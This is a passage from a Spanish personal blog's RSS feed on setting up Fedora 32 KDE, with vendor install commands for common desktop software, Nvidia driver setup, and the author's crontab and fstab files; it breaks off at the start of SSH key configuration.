&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install https://download.teamviewer.com/download/linux/teamviewer.x86_64.rpm
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark15">Dropbox&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install https://www.dropbox.com/download?dl&lt;span class="o">=&lt;/span>packages/fedora/nautilus-dropbox-2015.10.28-1.fedora.x86_64.rpm
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install python-gpgme
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark16">Gitkraken&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">programa&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;gitkraken-amd64.tar.gz&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget -O &lt;span class="nv">$programa&lt;/span> https://release.gitkraken.com/linux/gitkraken-amd64.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mv &lt;span class="nv">$programa&lt;/span> ~/Programas/ &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> ~/Programas/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tar -xvf &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> rm &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark17">Pycharm Community&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">programa&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;pycharm-community-2020.1.tar.gz&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget -O &lt;span class="nv">$programa&lt;/span> https://download.jetbrains.com/python/pycharm-community-2017.1.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mv &lt;span class="nv">$programa&lt;/span> ~/Programas/ &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> ~/Programas/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tar -xvf &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> rm &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark18">Telegram&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">programa&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;telegram.tar.xz&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget -O &lt;span class="nv">$programa&lt;/span> https://tdesktop.com/linux
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mv &lt;span class="nv">$programa&lt;/span> ~/Programas/ &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> ~/Programas/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tar -xvf &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> rm &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark19">Eclipse&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">programa&lt;/span>&lt;span class="o">=&lt;/span>&lt;span class="s2">&amp;#34;eclipse-inst-linux64.tar.gz&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">wget -O &lt;span class="nv">$programa&lt;/span> http://mirror.ibcp.fr/pub/eclipse//oomph/epp/neon/R2a/eclipse-inst-linux64.tar.gz
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">mv &lt;span class="nv">$programa&lt;/span> ~/Programas/ &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> ~/Programas/
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">tar -xvf &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> rm &lt;span class="nv">$programa&lt;/span> &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> &lt;span class="nb">cd&lt;/span> -
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark20">Docker y Docker-Compose &lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install dnf-plugins-core
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install podman podman-compose
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuentes: &lt;a class="link" href="https://docs.docker.com/install/linux/docker-ce/fedora/" target="_blank" rel="noopener"
>docker&lt;/a> y &lt;a class="link" href="https://docs.docker.com/compose/install/" target="_blank" rel="noopener"
>docker-compose&lt;/a>&lt;/p>
&lt;h2 id="mark21">Google Chrome&lt;/h2>
&lt;p>Descargar RPM de aqui: &lt;a class="link" href="https://www.google.com/chrome/browser/desktop/index.html" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;h2 id="mark22">Google Music&lt;/h2>
&lt;p>Descargar RPM de aqui: &lt;a class="link" href="https://www.googleplaymusicdesktopplayer.com/#!" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;h2 id="mark23">system-config-samba&lt;/h2>
&lt;p>Descargar RPM de aqui: &lt;a class="link" href="https://rpmfind.net/linux/rpm2html/search.php?query=system-config-samba" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;h2 id="mark24">Instalar drivers Nvidia&lt;/h2>
&lt;p>Opción recomendable&lt;/p>
&lt;p>Primero instalamos los repositorios que necesitamos &lt;a class="link" href="https://rpmfusion.org/Configuration" target="_blank" rel="noopener"
>url&lt;/a>:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#RPM Fusion free for Fedora&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-&lt;span class="k">$(&lt;/span>rpm -E %fedora&lt;span class="k">)&lt;/span>.noarch.rpm
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#RPM Fusion nonfree for Fedora&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-&lt;span class="k">$(&lt;/span>rpm -E %fedora&lt;span class="k">)&lt;/span>.noarch.rpm
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Enable access to both the free and the nonfree repository&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install https://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-&lt;span class="k">$(&lt;/span>rpm -E %fedora&lt;span class="k">)&lt;/span>.noarch.rpm https://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-&lt;span class="k">$(&lt;/span>rpm -E %fedora&lt;span class="k">)&lt;/span>.noarch.rpm
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Una vez instalados instalamos los drivers de nvidia &lt;a class="link" href="https://rpmfusion.org/Howto/NVIDIA#Legacy_GeForce_6.2F7" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf -y install xorg-x11-drv-nvidia akmod-nvidia
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install xorg-x11-drv-nvidia-cuda &lt;span class="c1">#optional for cuda/nvdec/nvenc support&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf update -y
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Opción &lt;strong>no recomendable&lt;/strong> pero que funciona:&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">https://www.if-not-true-then-false.com/2015/fedora-nvidia-guide/
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Fuente: &lt;a class="link" href="http://unix.stackexchange.com/questions/251629/how-to-install-nvidia-proprietary-drivers-on-fedora-23" target="_blank" rel="noopener"
>url&lt;/a>&lt;/p>
&lt;h2 id="mark25">Peek para grabar la pantalla y crear gif/mp4&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf config-manager --add-repo https://copr.fedorainfracloud.org/coprs/dani/peek/repo/fedora-32/dani-peek-fedora-32.repo
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install peek
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;p>Url &lt;a class="link" href="https://github.com/phw/peek#fedora" target="_blank" rel="noopener"
>gitgub&lt;/a>&lt;/p>
&lt;h2 id="cherrytree">CherryTree&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo dnf config-manager --add-repo https://copr.fedorainfracloud.org/coprs/bcotton/cherrytree/repo/fedora-32/bcotton-cherrytree-fedora-32.repo
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install cherrytree-future
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark26">Sublime Text 3 y Sublime Merge&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo rpm -v --import https://download.sublimetext.com/sublimehq-rpm-pub.gpg
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf config-manager --add-repo https://download.sublimetext.com/rpm/stable/x86_64/sublime-text.repo
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf -y install sublime-text sublime-merge
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark27">OpenRazer y Polychromatic&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Due to a bug in Fedora, the wrong kernel headers (kernel-debug-devel) may be installed and cause OpenRazer to fail installation. &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf install -y kernel-devel
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf config-manager --add-repo https://download.opensuse.org/repositories/hardware:razer/Fedora_32/hardware:razer.repo
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo dnf install -y openrazer-meta polychromatic
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># reboot&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div></description></item><item><title>Primeros pasos Fedora 32 KDE Parte II</title><link>https://www.procamora.com/p/primeros-pasos-fedora-32-parte-ii/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://www.procamora.com/p/primeros-pasos-fedora-32-parte-ii/</guid><description>&lt;img src="https://www.procamora.com/covers/draft.png" alt="Featured image of post Primeros pasos Fedora 32 KDE Parte II" />&lt;h1 id="introducción">Introducción&lt;/h1>
&lt;p>En esta segunda parte, haré una configuración del entorno de trabajo (fstab, crontab, .ssh, etc) y del entorno gráfico.&lt;/p>
&lt;ul>
&lt;li>&lt;a class="link" href="#header0" >Ficheros&lt;/a>
&lt;ul>
&lt;li>&lt;a class="link" href="#mark0" >Fichero crontab&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark1" >Fichero fstab&lt;/a>&lt;/li>
&lt;li>&lt;a class="link" href="#mark2" >Clave privada&lt;/a>&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a class="link" href="#header1" >Entorno grafico&lt;/a>&lt;/li>
&lt;/ul>
&lt;h1 id="header0">Configuración de ficheros&lt;/h1>
&lt;h2 id="mark0">Fichero crontab&lt;/h2>
&lt;p>&lt;code>vim /etc/crontab&lt;/code>&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;span class="lnt">17
&lt;/span>&lt;span class="lnt">18
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="nv">SHELL&lt;/span>&lt;span class="o">=&lt;/span>/bin/bash
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">PATH&lt;/span>&lt;span class="o">=&lt;/span>/sbin:/bin:/usr/sbin:/usr/bin
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">MAILTO&lt;/span>&lt;span class="o">=&lt;/span>root
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># For details see man 4 crontabs&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Example of job definition:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># .---------------- minute (0 - 59)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># | .------------- hour (0 - 23)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># | | .---------- day of month (1 - 31)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># | | | .------- month (1 - 12) OR jan,feb,mar,apr ...&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># | | | | |&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># * * * * * user-name command to be executed&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 0 * * * * procamora cd /home/procamora/ &amp;amp;&amp;amp; ./rsync_samba.sh &amp;gt;/tmp/rsync.log 2&amp;gt;&amp;amp;1 &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># 0 */2 * * * procamora cd /home/procamora/BoxCryptor/ &amp;amp;&amp;amp; ./rsync_i7.sh &amp;gt;/tmp/rsync_gdrive.log 2&amp;gt;&amp;amp;1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="m">0&lt;/span> 22 * * * procamora python3 /home/procamora/scripts/backup.py i7_rsync.sh &amp;gt;&amp;gt; /tmp/rsync_gdrive.log 2&amp;gt;&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">*/7 * * * * procamora &lt;span class="nb">cd&lt;/span> /home/procamora/Documents/Wiki-Personal/ &lt;span class="o">&amp;amp;&amp;amp;&lt;/span> bash pushgit.sh &amp;gt;&amp;gt; /tmp/wiki.log 2&amp;gt;&lt;span class="p">&amp;amp;&lt;/span>&lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark1">Fichero fstab&lt;/h2>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">sudo mkdir -p /mnt/&lt;span class="o">{&lt;/span>WD_BLACK,640Gb,pi,zero&lt;span class="o">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">sudo chown &lt;span class="nv">$USER&lt;/span>:&lt;span class="nv">$USER&lt;/span> /mnt/&lt;span class="o">{&lt;/span>WD_BLACK,640Gb,pi,zero&lt;span class="o">}&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">vim /etc/fstab
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt"> 1
&lt;/span>&lt;span class="lnt"> 2
&lt;/span>&lt;span class="lnt"> 3
&lt;/span>&lt;span class="lnt"> 4
&lt;/span>&lt;span class="lnt"> 5
&lt;/span>&lt;span class="lnt"> 6
&lt;/span>&lt;span class="lnt"> 7
&lt;/span>&lt;span class="lnt"> 8
&lt;/span>&lt;span class="lnt"> 9
&lt;/span>&lt;span class="lnt">10
&lt;/span>&lt;span class="lnt">11
&lt;/span>&lt;span class="lnt">12
&lt;/span>&lt;span class="lnt">13
&lt;/span>&lt;span class="lnt">14
&lt;/span>&lt;span class="lnt">15
&lt;/span>&lt;span class="lnt">16
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># /etc/fstab&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Created by anaconda on Wed Mar 29 21:50:12 2017&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Accessible filesystems, by reference, are maintained under &amp;#39;/dev/disk&amp;#39;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Particiones por defecto&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">UUID&lt;/span>&lt;span class="o">=&lt;/span>9c64fe32-84c5-4954 / ext4 defaults,relatime &lt;span class="m">1&lt;/span> &lt;span class="m">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">UUID&lt;/span>&lt;span class="o">=&lt;/span>659ee856-118a-433b /boot ext4 defaults,relatime &lt;span class="m">1&lt;/span> &lt;span class="m">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">UUID&lt;/span>&lt;span class="o">=&lt;/span>F6DB-090A /boot/efi vfat &lt;span class="nv">umask&lt;/span>&lt;span class="o">=&lt;/span>0077,shortname&lt;span class="o">=&lt;/span>winnt &lt;span class="m">0&lt;/span> &lt;span class="m">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">UUID&lt;/span>&lt;span class="o">=&lt;/span>7f4fc31b-e92d-4d31 /home ext4 defaults,relatime &lt;span class="m">1&lt;/span> &lt;span class="m">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">/dev/mapper/fedora-swap swap swap defaults &lt;span class="m">0&lt;/span> &lt;span class="m">0&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Disco NTFS con todos los permisos + posibilidad de usar chmod&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nv">UUID&lt;/span>&lt;span class="o">=&lt;/span>EE3A29F53A29BC09 /mnt/WD_BLACK ntfs-3g permissions,locale&lt;span class="o">=&lt;/span>es_ES.utf8 &lt;span class="m">0&lt;/span> &lt;span class="m">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Disco de red montado por samba&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1">#//192.168.1.71/DiscoUSB /mnt/DescargasPi cifs credentials=/home/procamora/.smbcredentials,iocharset=utf8,sec=ntlm 0 0&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/td>&lt;/tr>&lt;/table>
&lt;/div>
&lt;/div>&lt;h2 id="mark2">Clave privada&lt;/h2>
&lt;p>Configuraremos tanto la clave privada para conectarnos a otros equipos sin necesidad de usar contraseña como la clave publica para que otros de nuestros equipos se conecten a nosotros con nuestra clave privada&lt;/p>
&lt;div class="highlight">&lt;div class="chroma">
&lt;table class="lntable">&lt;tr>&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code>&lt;span class="lnt">1
&lt;/span>&lt;span class="lnt">2
&lt;/span>&lt;span class="lnt">3
&lt;/span>&lt;span class="lnt">4
&lt;/span>&lt;span class="lnt">5
&lt;/span>&lt;span class="lnt">6
&lt;/span>&lt;span class="lnt">7
&lt;/span>&lt;span class="lnt">8
&lt;/span>&lt;/code>&lt;/pre>&lt;/td>
&lt;td class="lntd">
&lt;pre tabindex="0" class="chroma">&lt;code class="language-bash" data-lang="bash">&lt;span class="line">&lt;span class="cl">mkdir -p ~/.ssh
